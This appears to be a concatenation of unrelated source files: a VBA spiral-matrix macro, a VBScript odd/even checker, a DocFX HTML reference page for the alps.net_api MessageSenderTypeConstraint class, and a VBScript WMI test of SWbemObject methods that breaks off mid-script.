spiralArr(i, i + j) = currNum
Next j
'do right side
For j1 = 1 To sideLen - 1
currNum = currNum + 1
spiralArr(i + j1, n - 1 - i) = currNum
Next j1
'do bottom side
j2 = sideLen - 2
Do While j2 > -1
currNum = currNum + 1
spiralArr(n - 1 - i, i + j2) = currNum
j2 = j2 - 1
Loop
'do left side
j3 = sideLen - 2
Do While j3 > 0
currNum = currNum + 1
spiralArr(i + j3, i) = currNum
j3 = j3 - 1
Loop
sideLen = sideLen - 2
Next i
For a = 0 To n - 1
For b = 0 To n - 1
Cells(a + 1, b + 1).Select
ActiveCell.Value = spiralArr(a, b)
Next b
Next a
End Sub
|
Function odd_or_even(n)
If n Mod 2 = 0 Then
odd_or_even = "Even"
Else
odd_or_even = "Odd"
End If
End Function
WScript.StdOut.Write "Please enter a number: "
n = WScript.StdIn.ReadLine
WScript.StdOut.Write n & " is " & odd_or_even(CInt(n))
WScript.StdOut.WriteLine
|
<!DOCTYPE html>
<!--[if IE]><![endif]-->
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Class MessageSenderTypeConstraint
</title>
<meta name="viewport" content="width=device-width">
<meta name="title" content="Class MessageSenderTypeConstraint
">
<meta name="generator" content="docfx 2.51.0.0">
<link rel="shortcut icon" href="../favicon.ico">
<link rel="stylesheet" href="../styles/docfx.vendor.css">
<link rel="stylesheet" href="../styles/docfx.css">
<link rel="stylesheet" href="../styles/main.css">
<meta property="docfx:navrel" content="../toc.html">
<meta property="docfx:tocrel" content="toc.html">
</head>
<body data-spy="scroll" data-target="#affix" data-offset="120">
<div id="wrapper">
<header>
<nav id="autocollapse" class="navbar navbar-inverse ng-scope" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="../index.html">
<img id="logo" class="svg" src="../logo.svg" alt="">
</a>
</div>
<div class="collapse navbar-collapse" id="navbar">
<form class="navbar-form navbar-right" role="search" id="search">
<div class="form-group">
<input type="text" class="form-control" id="search-query" placeholder="Search" autocomplete="off">
</div>
</form>
</div>
</div>
</nav>
<div class="subnav navbar navbar-default">
<div class="container hide-when-search" id="breadcrumb">
<ul class="breadcrumb">
<li></li>
</ul>
</div>
</div>
</header>
<div role="main" class="container body-content hide-when-search">
<div class="sidenav hide-when-search">
<a class="btn toc-toggle collapse" data-toggle="collapse" href="#sidetoggle" aria-expanded="false" aria-controls="sidetoggle">Show / Hide Table of Contents</a>
<div class="sidetoggle collapse" id="sidetoggle">
<div id="sidetoc"></div>
</div>
</div>
<div class="article row grid-right">
<div class="col-md-10">
<article class="content wrap" id="_content" data-uid="alps_.net_api.MessageSenderTypeConstraint">
<h1 id="alps__net_api_MessageSenderTypeConstraint" data-uid="alps_.net_api.MessageSenderTypeConstraint" class="text-break">Class MessageSenderTypeConstraint
</h1>
<div class="markdown level0 summary"><p>Class that represents an message sender type constraint</p>
</div>
<div class="markdown level0 conceptual"></div>
<div class="inheritance">
<h5>Inheritance</h5>
<div class="level0"><span class="xref">System.Object</span></div>
<div class="level1"><a class="xref" href="alps_.net_api.OwlThing.html">OwlThing</a></div>
<div class="level2"><a class="xref" href="alps_.net_api.PASSProcessModelElement.html">PASSProcessModelElement</a></div>
<div class="level3"><a class="xref" href="alps_.net_api.InteractionDescriptionComponent.html">InteractionDescriptionComponent</a></div>
<div class="level4"><a class="xref" href="alps_.net_api.InputPoolConstraint.html">InputPoolConstraint</a></div>
<div class="level5"><span class="xref">MessageSenderTypeConstraint</span></div>
</div>
<div classs="implements">
<h5>Implements</h5>
<div><a class="xref" href="alps_.net_api.IMessageSenderTypeConstraint.html">IMessageSenderTypeConstraint</a></div>
<div><a class="xref" href="alps_.net_api.IInputPoolConstraint.html">IInputPoolConstraint</a></div>
<div><a class="xref" href="alps_.net_api.IInteractionDescriptionComponent.html">IInteractionDescriptionComponent</a></div>
<div><a class="xref" href="alps_.net_api.IPASSProcessModellElement.html">IPASSProcessModellElement</a></div>
<div><a class="xref" href="alps_.net_api.IOwlThing.html">IOwlThing</a></div>
</div>
<div class="inheritedMembers">
<h5>Inherited Members</h5>
<div>
<a class="xref" href="alps_.net_api.InputPoolConstraint.html#alps__net_api_InputPoolConstraint_setHandlingStrategy_alps__net_api_IInputPoolConstraintHandlingStrategy_">InputPoolConstraint.setHandlingStrategy(IInputPoolConstraintHandlingStrategy)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.InputPoolConstraint.html#alps__net_api_InputPoolConstraint_setLimit_System_Int32_">InputPoolConstraint.setLimit(Int32)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.InputPoolConstraint.html#alps__net_api_InputPoolConstraint_getInputPoolConstraintHandlingStrategy">InputPoolConstraint.getInputPoolConstraintHandlingStrategy()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.InputPoolConstraint.html#alps__net_api_InputPoolConstraint_getLimit">InputPoolConstraint.getLimit()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.InputPoolConstraint.html#alps__net_api_InputPoolConstraint_getTmpInputPoolConstraintHandlingStrategy">InputPoolConstraint.getTmpInputPoolConstraintHandlingStrategy()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.InteractionDescriptionComponent.html#alps__net_api_InteractionDescriptionComponent_createInstance_System_Collections_Generic_List_System_String__System_Collections_Generic_List_System_String__">InteractionDescriptionComponent.createInstance(List<String>, List<String>)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_setAdditionalAttribute_System_Collections_Generic_List_System_String__">PASSProcessModelElement.setAdditionalAttribute(List<String>)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getAdditionalAttribute">PASSProcessModelElement.getAdditionalAttribute()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_setModelComponentID_System_String_">PASSProcessModelElement.setModelComponentID(String)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getModelComponentID">PASSProcessModelElement.getModelComponentID()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_setModelComponentLabel_System_Collections_Generic_List_System_String__">PASSProcessModelElement.setModelComponentLabel(List<String>)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getModelComponentLabel">PASSProcessModelElement.getModelComponentLabel()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_setComment_System_String_">PASSProcessModelElement.setComment(String)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getComment">PASSProcessModelElement.getComment()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_setAdditionalAttributeType_System_Collections_Generic_List_System_String__">PASSProcessModelElement.setAdditionalAttributeType(List<String>)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getAdditionalAttributeType">PASSProcessModelElement.getAdditionalAttributeType()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_addAttribute_System_String_System_String_">PASSProcessModelElement.addAttribute(String, String)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getAttributes">PASSProcessModelElement.getAttributes()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getSingleAttribute">PASSProcessModelElement.getSingleAttribute()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_getMultiAttributes">PASSProcessModelElement.getMultiAttributes()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_emptyAdditionalAttribute">PASSProcessModelElement.emptyAdditionalAttribute()</a>
</div>
<div>
<a class="xref" href="alps_.net_api.PASSProcessModelElement.html#alps__net_api_PASSProcessModelElement_createInstance_System_Collections_Generic_List_System_String__System_String_System_Collections_Generic_List_System_String__System_String_">PASSProcessModelElement.createInstance(List<String>, String, List<String>, String)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.OwlThing.html#alps__net_api_OwlThing_setType_System_String_">OwlThing.setType(String)</a>
</div>
<div>
<a class="xref" href="alps_.net_api.OwlThing.html#alps__net_api_OwlThing_getType">OwlThing.getType()</a>
</div>
<div>
<span class="xref">System.Object.ToString()</span>
</div>
<div>
<span class="xref">System.Object.Equals(System.Object)</span>
</div>
<div>
<span class="xref">System.Object.Equals(System.Object, System.Object)</span>
</div>
<div>
<span class="xref">System.Object.ReferenceEquals(System.Object, System.Object)</span>
</div>
<div>
<span class="xref">System.Object.GetHashCode()</span>
</div>
<div>
<span class="xref">System.Object.GetType()</span>
</div>
<div>
<span class="xref">System.Object.MemberwiseClone()</span>
</div>
</div>
<h6><strong>Namespace</strong>: <a class="xref" href="alps_.net_api.html">alps_.net_api</a></h6>
<h6><strong>Assembly</strong>: alps.net_api.dll</h6>
<h5 id="alps__net_api_MessageSenderTypeConstraint_syntax">Syntax</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public class MessageSenderTypeConstraint : InputPoolConstraint, IMessageSenderTypeConstraint, IInputPoolConstraint, IInteractionDescriptionComponent, IPASSProcessModellElement, IOwlThing</code></pre>
</div>
<h3 id="constructors">Constructors
</h3>
<a id="alps__net_api_MessageSenderTypeConstraint__ctor_" data-uid="alps_.net_api.MessageSenderTypeConstraint.#ctor*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint__ctor" data-uid="alps_.net_api.MessageSenderTypeConstraint.#ctor">MessageSenderTypeConstraint()</h4>
<div class="markdown level1 summary"><p>Constructor that creates an empty instance of the MessageSenderTypeConstraint class</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public MessageSenderTypeConstraint()</code></pre>
</div>
<a id="alps__net_api_MessageSenderTypeConstraint__ctor_" data-uid="alps_.net_api.MessageSenderTypeConstraint.#ctor*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint__ctor_System_Collections_Generic_List_System_String__System_String_System_Collections_Generic_List_System_String__System_String_alps__net_api_InputPoolConstraintHandlingStrategy_System_Int32_alps__net_api_MessageSpecification_alps__net_api_Subject_" data-uid="alps_.net_api.MessageSenderTypeConstraint.#ctor(System.Collections.Generic.List{System.String},System.String,System.Collections.Generic.List{System.String},System.String,alps_.net_api.InputPoolConstraintHandlingStrategy,System.Int32,alps_.net_api.MessageSpecification,alps_.net_api.Subject)">MessageSenderTypeConstraint(List<String>, String, List<String>, String, InputPoolConstraintHandlingStrategy, Int32, MessageSpecification, Subject)</h4>
<div class="markdown level1 summary"><p>Constructor that creates an completly specified instance of the MessageSenderTypeConstraint class</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public MessageSenderTypeConstraint(List<string> additionalAttribute, string modelComponentID, List<string> modelComponentLabel, string comment, InputPoolConstraintHandlingStrategy inputPoolConstraintHandlingStrategy, int limit, MessageSpecification messageSpecification, Subject subject)</code></pre>
</div>
<h5 class="parameters">Parameters</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><span class="xref">System.Collections.Generic.List</span><<span class="xref">System.String</span>></td>
<td><span class="parametername">additionalAttribute</span></td>
<td></td>
</tr>
<tr>
<td><span class="xref">System.String</span></td>
<td><span class="parametername">modelComponentID</span></td>
<td></td>
</tr>
<tr>
<td><span class="xref">System.Collections.Generic.List</span><<span class="xref">System.String</span>></td>
<td><span class="parametername">modelComponentLabel</span></td>
<td></td>
</tr>
<tr>
<td><span class="xref">System.String</span></td>
<td><span class="parametername">comment</span></td>
<td></td>
</tr>
<tr>
<td><a class="xref" href="alps_.net_api.InputPoolConstraintHandlingStrategy.html">InputPoolConstraintHandlingStrategy</a></td>
<td><span class="parametername">inputPoolConstraintHandlingStrategy</span></td>
<td></td>
</tr>
<tr>
<td><span class="xref">System.Int32</span></td>
<td><span class="parametername">limit</span></td>
<td></td>
</tr>
<tr>
<td><a class="xref" href="alps_.net_api.MessageSpecification.html">MessageSpecification</a></td>
<td><span class="parametername">messageSpecification</span></td>
<td></td>
</tr>
<tr>
<td><a class="xref" href="alps_.net_api.Subject.html">Subject</a></td>
<td><span class="parametername">subject</span></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="fields">Fields
</h3>
<h4 id="alps__net_api_MessageSenderTypeConstraint_className" data-uid="alps_.net_api.MessageSenderTypeConstraint.className">className</h4>
<div class="markdown level1 summary"><p>Name of the class</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public const string className = "MessageSenderTypeConstraint"</code></pre>
</div>
<h5 class="fieldValue">Field Value</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><span class="xref">System.String</span></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="methods">Methods
</h3>
<a id="alps__net_api_MessageSenderTypeConstraint_factoryMethod_" data-uid="alps_.net_api.MessageSenderTypeConstraint.factoryMethod*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_factoryMethod" data-uid="alps_.net_api.MessageSenderTypeConstraint.factoryMethod">factoryMethod()</h4>
<div class="markdown level1 summary"><p>Method that creates a new empty instance of the Message Sender Type Constraint class</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public MessageSenderTypeConstraint factoryMethod()</code></pre>
</div>
<h5 class="returns">Returns</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a class="xref" href="alps_.net_api.MessageSenderTypeConstraint.html">MessageSenderTypeConstraint</a></td>
<td><p>A new instance of the Message Sender Type Constraint</p>
</td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_getMessageSpecification_" data-uid="alps_.net_api.MessageSenderTypeConstraint.getMessageSpecification*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_getMessageSpecification" data-uid="alps_.net_api.MessageSenderTypeConstraint.getMessageSpecification">getMessageSpecification()</h4>
<div class="markdown level1 summary"><p>Method that returns the message specification attribute</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public IMessageSpecification getMessageSpecification()</code></pre>
</div>
<h5 class="returns">Returns</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a class="xref" href="alps_.net_api.IMessageSpecification.html">IMessageSpecification</a></td>
<td><p>Returns the object specific message specification</p>
</td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_getReferenceSubject_" data-uid="alps_.net_api.MessageSenderTypeConstraint.getReferenceSubject*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_getReferenceSubject" data-uid="alps_.net_api.MessageSenderTypeConstraint.getReferenceSubject">getReferenceSubject()</h4>
<div class="markdown level1 summary"><p>Method that returns the subject attribute</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public ISubject getReferenceSubject()</code></pre>
</div>
<h5 class="returns">Returns</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a class="xref" href="alps_.net_api.ISubject.html">ISubject</a></td>
<td><p>The object specific subject</p>
</td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_getTmpMessageSpecification_" data-uid="alps_.net_api.MessageSenderTypeConstraint.getTmpMessageSpecification*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_getTmpMessageSpecification" data-uid="alps_.net_api.MessageSenderTypeConstraint.getTmpMessageSpecification">getTmpMessageSpecification()</h4>
<div class="markdown level1 summary"></div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public string getTmpMessageSpecification()</code></pre>
</div>
<h5 class="returns">Returns</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><span class="xref">System.String</span></td>
<td></td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_getTmpSubject_" data-uid="alps_.net_api.MessageSenderTypeConstraint.getTmpSubject*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_getTmpSubject" data-uid="alps_.net_api.MessageSenderTypeConstraint.getTmpSubject">getTmpSubject()</h4>
<div class="markdown level1 summary"></div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public string getTmpSubject()</code></pre>
</div>
<h5 class="returns">Returns</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><span class="xref">System.String</span></td>
<td></td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_setReferencesSubject_" data-uid="alps_.net_api.MessageSenderTypeConstraint.setReferencesSubject*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_setReferencesSubject_alps__net_api_ISubject_" data-uid="alps_.net_api.MessageSenderTypeConstraint.setReferencesSubject(alps_.net_api.ISubject)">setReferencesSubject(ISubject)</h4>
<div class="markdown level1 summary"><p>Method that sets the subject attribute</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public void setReferencesSubject(ISubject subject)</code></pre>
</div>
<h5 class="parameters">Parameters</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a class="xref" href="alps_.net_api.ISubject.html">ISubject</a></td>
<td><span class="parametername">subject</span></td>
<td></td>
</tr>
</tbody>
</table>
<a id="alps__net_api_MessageSenderTypeConstraint_setReferncesMessageSpecification_" data-uid="alps_.net_api.MessageSenderTypeConstraint.setReferncesMessageSpecification*"></a>
<h4 id="alps__net_api_MessageSenderTypeConstraint_setReferncesMessageSpecification_alps__net_api_IMessageSpecification_" data-uid="alps_.net_api.MessageSenderTypeConstraint.setReferncesMessageSpecification(alps_.net_api.IMessageSpecification)">setReferncesMessageSpecification(IMessageSpecification)</h4>
<div class="markdown level1 summary"><p>Method that sets the message specification attribute</p>
</div>
<div class="markdown level1 conceptual"></div>
<h5 class="decalaration">Declaration</h5>
<div class="codewrapper">
<pre><code class="lang-csharp hljs">public void setReferncesMessageSpecification(IMessageSpecification messageSpecification)</code></pre>
</div>
<h5 class="parameters">Parameters</h5>
<table class="table table-bordered table-striped table-condensed">
<thead>
<tr>
<th>Type</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><a class="xref" href="alps_.net_api.IMessageSpecification.html">IMessageSpecification</a></td>
<td><span class="parametername">messageSpecification</span></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="implements">Implements</h3>
<div>
<a class="xref" href="alps_.net_api.IMessageSenderTypeConstraint.html">IMessageSenderTypeConstraint</a>
</div>
<div>
<a class="xref" href="alps_.net_api.IInputPoolConstraint.html">IInputPoolConstraint</a>
</div>
<div>
<a class="xref" href="alps_.net_api.IInteractionDescriptionComponent.html">IInteractionDescriptionComponent</a>
</div>
<div>
<a class="xref" href="alps_.net_api.IPASSProcessModellElement.html">IPASSProcessModellElement</a>
</div>
<div>
<a class="xref" href="alps_.net_api.IOwlThing.html">IOwlThing</a>
</div>
</article>
</div>
<div class="hidden-sm col-md-2" role="complementary">
<div class="sideaffix">
<div class="contribution">
<ul class="nav">
</ul>
</div>
<nav class="bs-docs-sidebar hidden-print hidden-xs hidden-sm affix" id="affix">
<!-- <p><a class="back-to-top" href="#top">Back to top</a><p> -->
</nav>
</div>
</div>
</div>
</div>
<footer>
<div class="grad-bottom"></div>
<div class="footer">
<div class="container">
<span class="pull-right">
<a href="#top">Back to top</a>
</span>
<span>Generated by <strong>DocFX</strong></span>
</div>
</div>
</footer>
</div>
<script type="text/javascript" src="../styles/docfx.vendor.js"></script>
<script type="text/javascript" src="../styles/docfx.js"></script>
<script type="text/javascript" src="../styles/main.js"></script>
</body>
</html>
|
<gh_stars>10-100
'This script tests the ability to call "remoted" methods
'on a persisted and nonpersisted SWbemObject
on error resume next
while true
testPassed = true
WScript.Echo "************************************"
WScript.Echo "PASS 1: Nonpersisted object "
WScript.Echo "************************************"
set obj = GetObject("winmgmts:root/default").Get
set objSink = CreateObject ("WbemScripting.SWbemSink")
WScript.Echo ""
WScript.Echo "Associators_"
set objAssoc = obj.Associators_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "AssociatorsAsync_"
obj.AssociatorsAsync_ objSink
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "Clone_"
set objClone = obj.Clone_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - "
end if
WScript.Echo ""
WScript.Echo "CompareTo_"
set otherObj = GetObject ("winmgmts:root/default:__cimomidentification=@")
bMatch = obj.CompareTo_ (otherObj)
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", bMatch
end if
WScript.Echo ""
WScript.Echo "Delete_"
obj.Delete_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "DeleteAsync_"
obj.DeleteAsync_ objSink
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "ExecMethod_"
obj.ExecMethod_ ("fred")
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "ExecMethodAsync_"
obj.ExecMethodAsync_ objSink, "fred"
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "Derivation_"
der = obj.Derivation_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", LBound(der), UBound(der)
end if
WScript.Echo ""
WScript.Echo "Methods_"
set methodSet = obj.Methods_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", methodSet.Count
end if
WScript.Echo ""
WScript.Echo "Path_"
set objPath = obj.Path_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", objPath.DisplayName
end if
WScript.Echo ""
WScript.Echo "Properties_"
set propSet = obj.Properties_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", propSet.Count
end if
WScript.Echo ""
WScript.Echo "Qualifiers_"
set qualSet = obj.Qualifiers_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", qualSet.Count
end if
WScript.Echo ""
WScript.Echo "Security_"
set security = obj.Security_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got No Error as expected - ", security.authenticationLevel, security.impersonationLevel
end if
WScript.Echo ""
WScript.Echo "GetObjectText_"
objText = obj.GetObjectText_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "Instances_"
set instanceSet = obj.Instances_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "InstancesAsync_"
obj.InstancesAsync_ objSink
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "Put_"
set objPath = obj.Put_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "PutAsync_"
obj.PutAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
WScript.Echo "Got no Error as expected"
end if
WScript.Echo ""
WScript.Echo "References_"
set objSet = obj.References_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "ReferencesAsync_"
obj.ReferencesAsync_ objSink
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "SpawnDerivedClass_"
set objSub = obj.SpawnDerivedClass_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "SpawnInstance_"
set objSub = obj.SpawnInstance_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "Subclasses_"
set objSet = obj.Subclasses_
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "SubclassesAsync_"
obj.SubclassesAsync_ objSink
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
if testPassed <> true then
WScript.Echo ""
WScript.Echo "*************************************"
WScript.Echo "TEST FAILED!!!!!!!!!!!!!!!!!!!!!!!!!!"
WScript.Echo "*************************************"
else
WScript.Echo ""
WScript.Echo "*************************************"
WScript.Echo "Test passed"
WScript.Echo "*************************************"
end if
WScript.Echo "************************************"
WScript.Echo "PASS 2: Persisted object "
WScript.Echo "************************************"
obj.Path_.Class = "TESTCLASSERR00"
set Property = obj.Properties_.Add ("Fred", 19)
Property.Qualifiers_.Add "key", true
obj.Put_
set obj = GetObject ("winmgmts:root/default:TESTCLASSERR00")
if err <> 0 then
WScript.Echo "ERROR! - ", Err.Description, Err.Number, Err.Source
testPassed = false
else
WScript.Echo obj.Path_.RelPath
end if
WScript.Echo ""
WScript.Echo "Associators_"
set objAssoc = obj.Associators_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "AssociatorsAsync_"
obj.AssociatorsAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "Clone_"
set objClone = obj.Clone_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "CompareTo_"
set otherObj = GetObject ("winmgmts:root/default:__cimomidentification=@")
bMatch = obj.CompareTo_ (otherObj)
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", bMatch
err.clear
end if
WScript.Echo ""
WScript.Echo "ExecMethod_"
obj.ExecMethod_ ("fred")
if err <> 0 then
WScript.Echo "Got Error as expected - ", Err.Description, Err.Number, Err.Source
err.clear
else
WScript.Echo "ERROR!"
testPassed = false
end if
WScript.Echo ""
WScript.Echo "ExecMethodAsync_"
obj.ExecMethodAsync_ objSink, "fred"
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
err.clear
else
